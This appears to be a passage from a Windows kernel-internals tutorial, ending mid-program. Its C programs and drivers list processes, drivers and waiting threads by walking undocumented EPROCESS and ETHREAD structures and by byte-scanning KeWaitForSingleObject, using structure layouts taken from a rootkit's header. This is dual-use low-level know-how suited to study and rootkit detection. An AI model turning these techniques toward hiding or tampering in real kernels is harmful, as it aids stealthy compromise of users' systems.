This program simply demonstrates how the task manager uses the ZwQuerySystemInformation function to get at the list of programs running on the system. Like before we use the LoadLibrary and GetProcAddress functions to give us the address of the function. For some reason ntdll.dll has no lib file. We then call the function though the pointer.

 

We pass it the value 5 which stands for list of thread and processes. The second parameter is the address of a buffer which we create, its length and the last the address of a long which the system comes back and fills it up with the number of bytes it has copied into our area of memory.

 

In our case our linked list of structures is 26744 bytes large. We then use a loop to display all the processes and other details. We have on purpose not displayed the details of the threads, if you want copy the code from the previous program. Thus all programs under windows finally use the ZwQuerySystemInformation call like we have demonstrated in the above program. Once again whether there is a device driver that has trapped the original code is beyond our comprehension.

 

P48

x.c

#include <windows.h>

typedef long (_stdcall *qtype)(long SystemInformationCLass,void *SystemInformation,long SystemInformationLength,long * ReturnLength);

qtype pZwQuerySystemInformation;

main()

{

HANDLE h;

void *curr;

long rc,ReturnLength,mem;

h = LoadLibrary("ntdll.dll");

pZwQuerySystemInformation = (qtype)GetProcAddress(h,"ZwQuerySystemInformation");

rc = -1;

mem = 25000;

while ( rc != 0)

{

curr = malloc(mem);

rc = pZwQuerySystemInformation(5,curr,mem,&ReturnLength);

printf("mem=%d rc=%ld ReturnLength=%ld\n",mem,rc,ReturnLength);

mem = mem+1000;

}

}

 

mem=25000 rc=-1073741820 ReturnLength=0

mem=26000 rc=0 ReturnLength=25416

 

Our problem with using the function ZwQuerySystemInformation is that we do not know how much memory is needed by the function. So what we do is use a loop where we increase the amount of memory allocated passed in the third parameter until the function returns zero. We set the mem variable to 25,000 and increase it by 1000 each time. This is what we have done in the above program and break out when the return value stored in rc is 0.

 

P49

x.c

#include <windows.h>

#include <stdio.h>

#pragma pack(1)

typedef struct _SYSTEM_MODULE_INFORMATION

{

ULONG  Reserved[2];

PVOID  Base;

ULONG  Size;

ULONG  Flags;

USHORT Index;

USHORT Unknown;

USHORT LoadCount;

USHORT ModuleNameOffset;

CHAR   ImageName[256];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

long (_stdcall *pf)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

int main(void)

{

HANDLE h;

long rc,ReturnLength,mem,*q,i;

PSYSTEM_MODULE_INFORMATION p;

h = LoadLibrary("ntdll.dll");

pf = GetProcAddress(h,"ZwQuerySystemInformation");

q = malloc(60000);

pf(11,q,60000,0);

p = (PSYSTEM_MODULE_INFORMATION)(q + 1);

for (i = 0; i < *q; i++)

printf("base: 0x%x size: %u\t%s\n",p[i].Base,p[i].Size,p[i].ImageName);

return 0;

}

 

base: 0x80400000 size: 1718784       \WINNT\System32\ntoskrnl.exe

base: 0x80062000 size: 82176           \WINNT\System32\hal.dll

base: 0xeb810000 size: 12288            \WINNT\System32\BOOTVID.DLL

base: 0xf88c1000 size: 163840           ACPI.sys

 

A long time ago we wrote a program that displays device drivers on the system. When we call the ZwQuerySystemInformation with the value 11, we are asking for a list of device drivers on the system. We are passed a long which if we increase by 1 or 4 actually we point to a structure that looks like SYSTEM_MODULE_INFORMATION a structure tag that we have defined..

 

This is because the pointer we are passed starts with a number that tells us how many  SYSTEM_MODULE_INFORMATION structures we have. The actual structures start 4 bytes away. This is because these structures are not linked to each other unlike the process structures.

 

We use  a for loop to iterate *q times and print out the base address of the driver, its size and image name. We use the array notation instead of increasing the pointer p. Like this we can use the function ZwQuerySystemInformation to give us a list of lots of things happening on the system. The trouble is that someone in ring 0 can decide that we see the wrong things

 

P50

r.c

#include <ntddk.h>

#include <stdio.h>

#define DRV_NAME L"vijayd"

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)

{

IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

PKTIMER         gTimer;

PKDPC gDPCP;

PEPROCESS curproc;

int i,offset;

char *nameptr;

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

KeCancelTimer( gTimer );

ExFreePool( gTimer );

ExFreePool( gDPCP );

}

VOID abc(PKDPC Dpc,PVOID DeferredContext,PVOID sys1,PVOID sys2)

{

HANDLE pid,tid;

curproc = PsGetCurrentProcess ();

nameptr = (PCHAR) curproc + offset;

pid = PsGetCurrentProcessId ();

tid = PsGetCurrentThreadId ();

DbgPrint("%s pid=%d tid=%d",nameptr,pid,tid);

}

LARGE_INTEGER timeout;

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->DriverUnload = DriverUnload;

DbgPrint("Vijay 2");

gTimer = ExAllocatePool (NonPagedPool,sizeof(KTIMER));

gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

curproc = PsGetCurrentProcess();

for( i = 0; i < 3*PAGE_SIZE; i++ )

{

if( !strncmp("System", (PCHAR) curproc + i, strlen("System")))

{

offset = i;

break;

}

}

KeInitializeTimer (gTimer);

KeInitializeDpc (gDPCP,abc,0);

KeSetTimerEx (gTimer,timeout,1000,gDPCP);

return(STATUS_SUCCESS);

}

 

Vijay 2

System pid=8 tid=60

WINWORD.EXE pid=1440 tid=1444

WINWORD.EXE pid=1440 tid=1444

 

The function ExAllocatePool is another malloc for the device driver. This function is obsolete and gets converted by the compiler to ExAllocatePoolWithTag. This function allocated memory of type specified in the first parameter which is an enum POOL_TYPE. The value we have used is NonPagedPool which is a scarce resource and should be rarely used.

 

This is memory that cannot be paged to disk. The bad part of the option we choose is that we should ask for memory in chunks of PAGE_SIZE as the memory allocated is a multiple of this. In our case as we have asked for very small amounts of memory that will be lots of wastage. The second parameter is the size of memory we want and in our case it is the size of two structures KTIMER and KDPC.

 

This function returns a pointer to the newly allocated memory. The tag name used is kdD which is to be read backwards and gives us Ddk. We then want to print out the name of every program and we need the offset from the start of the Eprocess structure, like we did earlier. The KTIMER that we created earlier we want to initialize it to a non signaled state.

 

The function KeInitializeTimer does just that for us. If we do not use this function, we get the blue screen of death. In the same vein the KeInitializeDpc function initializes the DPC structure for us. Here we specify the KDPC structure as the first parameter and most important the function that should be called each time the timer expires.

 

In our case we need the abc function to be called. The last parameter is any data that we want passed to our function when it gets called. The actual timer will be set by the function KeSetTimerEx. This is the function that sets the timer to the signaled state which is another of saying call the timer.

 

Here we pass the KDPC object that represents the abc function to be called as the last parameter, the third parameter is a time in milliseconds which specify when the timer should be called. The first is the timer object and the second a LARGE_INTEGER which is nothing but a data type __int64.

 

The timeout is set to 0. When we see the output, we realize that every second the abc function gets called. In the abc function we are displaying the process id and thread id of the current running program in user space. We use the standard functions PsGetCurrentProcessId and PsGetCurrentThreadId for this. We also print the name of the current program by using the function PsGetCurrentProcess to give us the Eprocess structure.

 

Looking at the output you can now see that at times Microsoft Word or WinWord is active at times System. For the momemt we are not using any of the parameters supplied to us.

 

P51

r.c

#include <ntddk.h>

#include <stdio.h>

extern PEPROCESS * PsInitialSystemProcess;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

PEPROCESS p,p1;

LIST_ENTRY *entry, *start;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

p = (PEPROCESS)PsGetCurrentProcess();

p1 = (PEPROCESS)*PsInitialSystemProcess;

DbgPrint("Vijay 2 p=%x p1=%p",p,p1);

entry = start = (LIST_ENTRY *)((long)p + 160);

do

{

int pid = *(long *)((long)entry -4);

DbgPrint("%s %d %x",(long)entry + 348,pid,(long)entry-160);

entry = entry->Flink;

} while(entry != start);

return(STATUS_SUCCESS);

}

 

Vijay 2 p=8202fb60 p1=8202FB60

System 8 8202fb60

smss.exe 156 81f2fae0

 

Some time ago we displayed all processes by using the function PsGetCurrentProcess which returned a EPROCESS pointer. We then told you that 160 bytes from the start was the LIST_ENTRY structures and then the name of the running program was 508 bytes from the start.

 

We first initialize two variables entry and list to LIST_ENTRY member Flink that is stored 160 bytes form the start. We then enter a while loop where we change entry and not start. We quit out whenever we start and entry become the same again. We change entry to point to the next Flink and the pid is stored 4 bytes form entry and name of the program 348 bytes in the opposite direction.

 

As this is a circular list at some time entry will have the same value as start. The point is what if we did not have the function PsGetCurrentProcess. Fortunately for us we have a variable PsInitialSystemProcess that is a pointer to a EPROCESS pointer.

 

We do not give this variable a value as using extern tells the linker that it is defined some where else. Using extern is not the same as using __declspec(dllimport) which is for entities exported. The keyword extern means that the variable is created somewhere else, we are only using it here.

 

We access the EPROCESS pointer by using the * and this is the same value that the PsGetCurrentProcess function gives us. Thus you have a choice in which way you want the EPROCESS structure of System.

 

P52

r.c

#include <ntddk.h>

#include <stdio.h>

typedef  long DWORD;

typedef  short WORD;

typedef  char BYTE;

struct QUOTA_BLOCK

{

/*000*/ DWORD Flags;

/*004*/ DWORD ChargeCount;

/*008*/ DWORD PeakPoolUsage [2]; // NonPagedPool, PagedPool

/*010*/ DWORD PoolUsage     [2]; // NonPagedPool, PagedPool

/*018*/ DWORD PoolQuota     [2]; // NonPagedPool, PagedPool

/*020*/ };

struct HARDWARE_PTE

{

/*000*/ unsigned Valid           :  1;

        unsigned Write           :  1;

        unsigned Owner           :  1;

        unsigned WriteThrough    :  1;

        unsigned CacheDisable    :  1;

        unsigned Accessed        :  1;

        unsigned Dirty           :  1;

        unsigned LargePage       :  1;

/*001*/ unsigned Global          :  1;

        unsigned CopyOnWrite     :  1;

        unsigned Prototype       :  1;

        unsigned reserved        :  1;

        unsigned PageFrameNumber : 20;

/*004*/ };

struct HANDLE_TABLE

{

/*000*/ DWORD             Reserved;

/*004*/ DWORD             HandleCount;

/*008*/ void *            Layer1; // Complex to do later

/*00C*/ struct _EPROCESS *Process; // passed to PsChargePoolQuota ()

/*010*/ HANDLE            UniqueProcessId;

/*014*/ DWORD             NextEntry;

/*018*/ DWORD             TotalEntries;

/*01C*/ ERESOURCE         HandleTableLock;

/*054*/ LIST_ENTRY        HandleTableList;

/*05C*/ KEVENT            Event;

/*06C*/ };

struct MMSUPPORT

{

/*000*/ LARGE_INTEGER LastTrimTime;

/*008*/ DWORD         LastTrimFaultCount;

/*00C*/ DWORD         PageFaultCount;

/*010*/ DWORD         PeakWorkingSetSize;

/*014*/ DWORD         WorkingSetSize;

/*018*/ DWORD         MinimumWorkingSetSize;

/*01C*/ DWORD         MaximumWorkingSetSize;

/*020*/ PVOID         VmWorkingSetList;

/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;

/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;

/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;

/*02E*/ BYTE          ForegroundSwitchCount;

/*02F*/ BYTE          MemoryPriority;

/*030*/ };

struct KGDTENTRY

{

/*000*/ WORD  LimitLow;

/*002*/ WORD  BaseLow;

/*004*/ DWORD HighWord;

/*008*/ };

struct KIDTENTRY

{

/*000*/ WORD Offset;

/*002*/ WORD Selector;

/*004*/ WORD Access;

/*006*/ WORD ExtendedOffset;

/*008*/ };

struct KPROCESS

{

/*000*/ DISPATCHER_HEADER Header; // DO_TYPE_PROCESS (0x1B)

/*010*/ LIST_ENTRY        ProfileListHead;

/*018*/ DWORD             DirectoryTableBase;

/*01C*/ DWORD             PageTableBase;

/*020*/ struct KGDTENTRY  LdtDescriptor;

/*028*/ struct KIDTENTRY  Int21Descriptor;

/*030*/ WORD              IopmOffset;

/*032*/ BYTE              Iopl;

/*033*/ BOOLEAN           VdmFlag;

/*034*/ DWORD             ActiveProcessors;

/*038*/ DWORD             KernelTime; // ticks

/*03C*/ DWORD             UserTime;   // ticks

/*040*/ LIST_ENTRY        ReadyListHead;

/*048*/ LIST_ENTRY        SwapListEntry;

/*050*/ LIST_ENTRY        ThreadListHead; // KTHREAD.ThreadListEntry

/*058*/ PVOID             ProcessLock;

/*05C*/ KAFFINITY         Affinity;

/*060*/ WORD              StackCount;

/*062*/ BYTE              BasePriority;

/*063*/ BYTE              ThreadQuantum;

/*064*/ BOOLEAN           AutoAlignment;

/*065*/ BYTE              State;

/*066*/ BYTE              ThreadSeed;

/*067*/ BOOLEAN           DisableBoost;

/*068*/ DWORD             d068;

/*06C*/ };

struct EPROCESS1

{

/*000*/ struct KPROCESS               Pcb;

/*06C*/ NTSTATUS               ExitStatus;

/*070*/ KEVENT                 LockEvent;

/*080*/ DWORD                  LockCount;

/*084*/ DWORD                  d084;

/*088*/ LARGE_INTEGER          CreateTime;

/*090*/ LARGE_INTEGER          ExitTime;

/*098*/ PVOID                  LockOwner;

/*09C*/ DWORD                  UniqueProcessId;

/*0A0*/ LIST_ENTRY             ActiveProcessLinks;

/*0A8*/ DWORD                  QuotaPeakPoolUsage [2]; // NP, P

/*0B0*/ DWORD                  QuotaPoolUsage     [2]; // NP, P

/*0B8*/ DWORD                  PagefileUsage;

/*0BC*/ DWORD                  CommitCharge;

/*0C0*/ DWORD                  PeakPagefileUsage;

/*0C4*/ DWORD                  PeakVirtualSize;

/*0C8*/ LARGE_INTEGER          VirtualSize;

/*0D0*/ struct MMSUPPORT       Vm;

/*100*/ DWORD                  d100;

/*104*/ DWORD                  d104;

/*108*/ DWORD                  d108;

/*10C*/ DWORD                  d10C;

/*110*/ DWORD                  d110;

/*114*/ DWORD                  d114;

/*118*/ DWORD                  d118;

/*11C*/ DWORD                  d11C;

/*120*/ PVOID                  DebugPort;

/*124*/ PVOID                  ExceptionPort;

/*128*/ struct HANDLE_TABLE    *ObjectTable;

/*12C*/ PVOID                  Token;

/*130*/ FAST_MUTEX             WorkingSetLock;

/*150*/ DWORD                  WorkingSetPage;

/*154*/ BOOLEAN                ProcessOutswapEnabled;

/*155*/ BOOLEAN                ProcessOutswapped;

/*156*/ BOOLEAN                AddressSpaceInitialized;

/*157*/ BOOLEAN                AddressSpaceDeleted;

/*158*/ FAST_MUTEX             AddressCreationLock;

/*178*/ KSPIN_LOCK             HyperSpaceLock;

/*17C*/ DWORD                  ForkInProgress;

/*180*/ WORD                   VmOperation;

/*182*/ BOOLEAN                ForkWasSuccessful;

/*183*/ BYTE                   MmAgressiveWsTrimMask;

/*184*/ DWORD                  VmOperationEvent;

/*188*/ struct HARDWARE_PTE    PageDirectoryPte;

/*18C*/ DWORD                  LastFaultCount;

/*190*/ DWORD                  ModifiedPageCount;

/*194*/ PVOID                  VadRoot;

/*198*/ PVOID                  VadHint;

/*19C*/ PVOID                  CloneRoot;

/*1A0*/ DWORD                  NumberOfPrivatePages;

/*1A4*/ DWORD                  NumberOfLockedPages;

/*1A8*/ WORD                   NextPageColor;

/*1AA*/ BOOLEAN                ExitProcessCalled;

/*1AB*/ BOOLEAN                CreateProcessReported;

/*1AC*/ HANDLE                 SectionHandle;

/*1B0*/ struct _PEB           *Peb;

/*1B4*/ PVOID                  SectionBaseAddress;

/*1B8*/ struct QUOTA_BLOCK     *QuotaBlock;

/*1BC*/ NTSTATUS               LastThreadExitStatus;

/*1C0*/ DWORD                  WorkingSetWatch;

/*1C4*/ HANDLE                 Win32WindowStation;

/*1C8*/ DWORD                  InheritedFromUniqueProcessId;

/*1CC*/ ACCESS_MASK            GrantedAccess;

/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*

/*1D4*/ DWORD                  LdtInformation;

/*1D8*/ PVOID                  VadFreeHint;

/*1DC*/ DWORD                  VdmObjects;

/*1E0*/ PVOID                  DeviceMap; // 0x24 bytes

/*1E4*/ DWORD                  SessionId;

/*1E8*/ DWORD                  d1E8;

/*1EC*/ DWORD                  d1EC;

/*1F0*/ DWORD                  d1F0;

/*1F4*/ DWORD                  d1F4;

/*1F8*/ DWORD                  d1F8;

/*1FC*/ BYTE                   ImageFileName [16];

/*20C*/ DWORD                  VmTrimFaultValue;

/*210*/ BYTE                   SetTimerResolution;

/*211*/ BYTE                   PriorityClass;

/*212*/ union

            {

            struct

                {

/*212*/         BYTE               SubSystemMinorVersion;

/*213*/         BYTE               SubSystemMajorVersion;

                };

            struct

                {

/*212*/         WORD               SubSystemVersion;

                };

            };

/*214*/ struct _WIN32_PROCESS *Win32Process;

/*218*/ DWORD                  d218;

/*21C*/ DWORD                  d21C;

/*220*/ DWORD                  d220;

/*224*/ DWORD                  d224;

/*228*/ DWORD                  d228;

/*22C*/ DWORD                  d22C;

/*230*/ PVOID                  Wow64;

/*234*/ DWORD                  d234;

/*238*/ IO_COUNTERS            IoCounters;

/*268*/ DWORD                  d268;

/*26C*/ DWORD                  d26C;

/*270*/ DWORD                  d270;

/*274*/ DWORD                  d274;

/*278*/ DWORD                  d278;

/*27C*/ DWORD                  d27C;

/*280*/ DWORD                  d280;

/*284*/ DWORD                  d284;

};

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

struct EPROCESS1 *p;

LIST_ENTRY *entry, *start;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

p = (struct EPROCESS1 *)PsGetCurrentProcess();

DbgPrint("Vijay 2 p=%x",p);

entry = start = (LIST_ENTRY *)p->ActiveProcessLinks.Flink;

do

{

DbgPrint("%s %d",p->ImageFileName,p->UniqueProcessId);

entry = entry->Flink;

p = (struct EPROCESS1 *)((char *)entry - 160);

} while(entry != start);

return(STATUS_SUCCESS);

}

 

Vijay 2 p=8202fb60

System 8

csrss.exe 180

 

If you look at the above program output you will wonder why are we displaying the same output which is nothing but a list of processes running on the system. Also the program is slightly too large for our liking. All that we have done is created a structure tag EPROCESS1 tag represents the actual EPROCESS structure.

 

As mentioned before, this structure is not documented by Microsoft. It is one of the largest structures we have seen and we found it in a header file in the Klister rootkit. Wonder how people find out these undocumented  structures. Going back to our code we use the same LIST_ENTRY pointers but use members of the EPROCESS structure to print out the pid and name of the process instead of using hard coded offsets.

 

The problem is that we yet have to subtract 160 from the LIST_ENTRY pointers as they point to the LIST_ENTRY structures and we have no pointer to the start of the EPROCESS structure. Some day we would like you to print out every member of the structures shown above.

 

P53

p.c

main()

{

__asm int 3

__asm mov ecx,3

__asm test al,al

}

 

cl p.c

 

Lots of times we would like to scan the code of functions looking for certain bytes. Lets say we know that a certain function uses the mov instruction to move a value in the ecx register and then uses the test instruction to test the value of the al instruction.

 

We would like to know the actual bytes that this code snippet generates. In a C program using the _asm keyword we are allowed to embed assembler instructions anywhere we like. The int 3 calls the debugger. We click ob Cancel and when we are in the debugger, we click on right mouse button and check code bytes. We will see the following output.

 

00401006 CC                   int         3

00401007 B9 03 00 00 00       mov         ecx,3

0040100C 84 C0                test        al,al

 

This tells us that the instruction int 3 becomes CC. The mov ecx starts with B9 followed by the 4 bytes we are moving into it. The test al is 84 c0.

 

P54

r.c

#include <ntddk.h>

#include <stdio.h>

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

LIST_ENTRY *cur, *start;

unsigned long val,i;

long gKiWaitInListHead;

unsigned char *ptr;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *) KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitInListHead = *(long *)(ptr + 1);

break;

}

ptr++;

}

DbgPrint("%x",gKiWaitInListHead);

start = (LIST_ENTRY *)gKiWaitInListHead;

cur = start->Flink;     

do

{

val = (long)cur + 388;

val = *(long *)val;

i = (long)cur + 464;

i = *(long *)i;

DbgPrint("%d %d %s",val,*(long *)(i + 156),i + 508);

cur = cur->Flink;

} while(cur != start);

return(STATUS_SUCCESS);

}

 

80482258

228 228 services.exe

228 228 services.exe

388 388 msdev.exe

240 240 lsass.exe

240 240 lsass.exe

 

The next series of programs talk about threads. The OS maintains two pointers of thread structures that are not a state to be running for some reason. We will figure out the addresses of these linked lists and display the processes which own these threads. These linked list are denoted as KiWaitInListHead and KiWaitOutListHead.

 

The above program once again displays the names of programs and their pids. It however displays then more than once. We have a documented function in the DDK called KeWaitForSingleObject. This function we will explain later. All that it does on a large scale is let the current thread wait. This means that it should have some knowledge about the current thread.

 

We store its starting memory address denoted by its name in the variable ptr and scan the first 4096 memory locations looking for a certain series of bytes.  These are what we showed you in the above example. Thus we check for the b9 as the first bytes, followed by some number and then the op codes 84 and c0 for the test. We also check for another mov instruction 24 bytes later.

 

The value moved into the ecx register is the pointer we are waiting for. We store this value in the variable gKiWaitInListHead.  The point we are making is that Windows stores a list of threads in a linked list. We want access to this linked list. The problem is that there are no exported variables that point to any member of this list. Thus someone went through the disassembly of the function KeWaitForSingleObject.

 

We realized that within the code for this function, the address of a thread was being placed into the ecx register. This was followed by the test instruction. There was also another pointer being stored in the ecx register 24 bytes away. The minute we scan the memory of the function KeWaitForSingleObject and come across the above bytes, we know that we have a addresses of a thread pointer. Crude but simple and it works.

 

This pointer is actually a LIST_ENTRY pointer with the associated Flinks and Blinks. We set curr to Flink and then loop like before until cur and start become equal again. We then add 388 to curr so that we point to the pid of the program that owns the thread.

 

We then add 464 to curr which gives us a location where we have the EPROCESS pointer of the process stored. 5-8 bytes later gives us the name of the process. Just to prove that we have a EPROCESS pointer we are displaying the pid stored at 156 from the start.

 

P55

r.c

#include <ntddk.h>

#include <stdio.h>

typedef  long DWORD;

typedef  short WORD;

typedef  char BYTE;

typedef  char BOOL;

struct SYSTEM_SERVICE_TABLE

{

/*000*/ void  *ServiceTable;           // array of entry points

/*004*/ DWORD  *CounterTable;           // array of usage counters

/*008*/ DWORD   ServiceLimit;           // number of table entries

/*00C*/ BYTE   *ArgumentTable;          // array of byte counts

/*010*/ };

struct SERVICE_DESCRIPTOR_TABLE

{

/*000*/ struct SYSTEM_SERVICE_TABLE ntoskrnl;  // ntoskrnl.exe (native api)

/*010*/ struct SYSTEM_SERVICE_TABLE win32k;    // win32k.sys   (gdi/user)

/*020*/ struct SYSTEM_SERVICE_TABLE Table3;    // not used

/*030*/ struct SYSTEM_SERVICE_TABLE Table4;    // not used

/*040*/ };

struct KAPC_STATE

{

/*000*/ LIST_ENTRY        ApcListHead [2];

/*010*/ struct _KPROCESS *Process;

/*014*/ BOOLEAN           KernelApcInProgress;

/*015*/ BOOLEAN           KernelApcPending;

/*016*/ BOOLEAN           UserApcPending;

/*017*/ BOOLEAN           Reserved;

/*018*/ };

struct KTHREAD

{

/*000*/ DISPATCHER_HEADER         Header; // DO_TYPE_THREAD (0x6C)

/*010*/ LIST_ENTRY                MutantListHead;

/*018*/ PVOID                     InitialStack;

/*01C*/ PVOID                     StackLimit;

/*020*/ struct _TEB              *Teb;

/*024*/ PVOID                     TlsArray;

/*028*/ PVOID                     KernelStack;

/*02C*/ BOOLEAN                   DebugActive;

/*02D*/ BYTE                      State; // THREAD_STATE_*

/*02E*/ BOOLEAN                   Alerted;

/*02F*/ BYTE                      bReserved01;

/*030*/ BYTE                      Iopl;

/*031*/ BYTE                      NpxState;

/*032*/ BYTE                      Saturation;

/*033*/ BYTE                      Priority;

/*034*/ struct KAPC_STATE                ApcState;

/*04C*/ DWORD                     ContextSwitches;

/*050*/ DWORD                     WaitStatus;

/*054*/ BYTE                      WaitIrql;

/*055*/ BYTE                      WaitMode;

/*056*/ BYTE                      WaitNext;

/*057*/ BYTE                      WaitReason;

/*058*/ PLIST_ENTRY               WaitBlockList;

/*05C*/ LIST_ENTRY                WaitListEntry;

/*064*/ DWORD                     WaitTime;

/*068*/ BYTE                      BasePriority;

/*069*/ BYTE                      DecrementCount;

/*06A*/ BYTE                      PriorityDecrement;

/*06B*/ BYTE                      Quantum;

/*06C*/ KWAIT_BLOCK               WaitBlock [4];

/*0CC*/ DWORD                     LegoData;

/*0D0*/ DWORD                     KernelApcDisable;

/*0D4*/ KAFFINITY                 UserAffinity;

/*0D8*/ BOOLEAN                   SystemAffinityActive;

/*0D9*/ BYTE                      Pad [3];

/*0DC*/ struct SERVICE_DESCRIPTOR_TABLE *pServiceDescriptorTable;

/*0E0*/ PVOID                     Queue;

/*0E4*/ PVOID                     ApcQueueLock;

/*0E8*/ KTIMER                    Timer;

/*110*/ LIST_ENTRY                QueueListEntry;

/*118*/ KAFFINITY                 Affinity;

/*11C*/ BOOLEAN                   Preempted;

/*11D*/ BOOLEAN                   ProcessReadyQueue;

/*11E*/ BOOLEAN                   KernelStackResident;

/*11F*/ BYTE                      NextProcessor;

/*120*/ PVOID                     CallbackStack;

/*124*/ struct _WIN32_THREAD     *Win32Thread;

/*128*/ PVOID                     TrapFrame;

/*12C*/ struct KAPC_STATE               *ApcStatePointer;

/*130*/ PVOID                     p130;

/*134*/ BOOLEAN                   EnableStackSwap;

/*135*/ BOOLEAN                   LargeStack;

/*136*/ BYTE                      ResourceIndex;

/*137*/ KPROCESSOR_MODE           PreviousMode;

/*138*/ DWORD                     KernelTime; // ticks

/*13C*/ DWORD                     UserTime;   // ticks

/*140*/ struct KAPC_STATE                SavedApcState;

/*158*/ BOOLEAN                   Alertable;

/*159*/ BYTE                      ApcStateIndex;

/*15A*/ BOOLEAN                   ApcQueueable;

/*15B*/ BOOLEAN                   AutoAlignment;

/*15C*/ PVOID                     StackBase;

/*160*/ KAPC                      SuspendApc;

/*190*/ KSEMAPHORE                SuspendSemaphore;

/*1A4*/ LIST_ENTRY                ThreadListEntry;  // see KPROCESS

/*1AC*/ BYTE                      FreezeCount;

/*1AD*/ BYTE                      SuspendCount;

/*1AE*/ BYTE                      IdealProcessor;

/*1AF*/ BOOLEAN                   DisableBoost;

/*1B0*/ };

struct ETHREAD

{

/*000*/ struct KTHREAD    Tcb;

/*1B0*/ LARGE_INTEGER CreateTime;

/*1B8*/ union

            {

/*1B8*/     LARGE_INTEGER ExitTime;

/*1B8*/     LIST_ENTRY    LpcReplyChain;

            };

/*1C0*/ union

            {

/*1C0*/     NTSTATUS      ExitStatus;

/*1C0*/     DWORD         OfsChain;

            };

/*1C4*/ LIST_ENTRY    PostBlockList;

/*1CC*/ LIST_ENTRY    TerminationPortList;

/*1D4*/ PVOID         ActiveTimerListLock;

/*1D8*/ LIST_ENTRY    ActiveTimerListHead;

/*1E0*/ CLIENT_ID     Cid;

/*1E8*/ KSEMAPHORE    LpcReplySemaphore;

/*1FC*/ DWORD         LpcReplyMessage;

/*200*/ DWORD         LpcReplyMessageId;

/*204*/ DWORD         PerformanceCountLow;

/*208*/ DWORD         ImpersonationInfo;

/*20C*/ LIST_ENTRY    IrpList;

/*214*/ PVOID         TopLevelIrp;

/*218*/ PVOID         DeviceToVerify;

/*21C*/ DWORD         ReadClusterSize;

/*220*/ BOOLEAN       ForwardClusterOnly;

/*221*/ BOOLEAN       DisablePageFaultClustering;

/*222*/ BOOLEAN       DeadThread;

/*223*/ BOOLEAN       Reserved;

/*224*/ BOOL          HasTerminated;

/*228*/ ACCESS_MASK   GrantedAccess;

/*22C*/ PEPROCESS     ThreadsProcess;

/*230*/ PVOID         StartAddress;

/*234*/ union

            {

/*234*/     PVOID         Win32StartAddress;

/*234*/     DWORD         LpcReceivedMessageId;

            };

/*238*/ BOOLEAN       LpcExitThreadCalled;

/*239*/ BOOLEAN       HardErrorsAreDisabled;

/*23A*/ BOOLEAN       LpcReceivedMsgIdValid;

/*23B*/ BOOLEAN       ActiveImpersonationInfo;

/*23C*/ DWORD         PerformanceCountHigh;

/*240*/ DWORD         d240;

/*244*/ DWORD         d244;

/*248*/ };

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

LIST_ENTRY *cur, *start;

unsigned long val,i;

long gKiWaitInListHead;

unsigned char *ptr;

struct ETHREAD *pethread;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *)KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitInListHead = *(long *)(ptr + 1);

break;

}

ptr++;

}

start = (LIST_ENTRY *) gKiWaitInListHead;

cur = start->Flink;

DbgPrint("gKiWaitInListHead=%x cur=%x %x",gKiWaitInListHead,cur,*start);

do

{

val = (long)cur + 388;

val = *(long *)val;

i = (long)cur + 464;

i = *(long *)i;

DbgPrint("%d %s cur=%x",val,i + 508,cur);

pethread = (struct ETHREAD *)((long)cur - 92);

